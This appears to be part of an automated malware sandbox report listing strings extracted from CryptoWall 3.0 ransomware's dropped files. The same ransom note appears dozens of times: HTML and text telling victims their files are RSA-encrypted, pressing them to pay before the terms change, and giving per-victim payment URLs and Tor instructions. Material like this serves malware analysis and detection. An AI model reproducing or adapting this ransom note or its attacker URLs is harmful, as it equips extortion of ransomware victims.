target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt375.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html105.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt290.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html174.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt74.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html340.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt33.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt37.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt34.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt26.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt22.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt223.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html383.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt28.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html375.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html302.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html278.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html44.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt418.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html367.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt360.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html414.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html71.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt353.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt365.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt394.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html177.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to 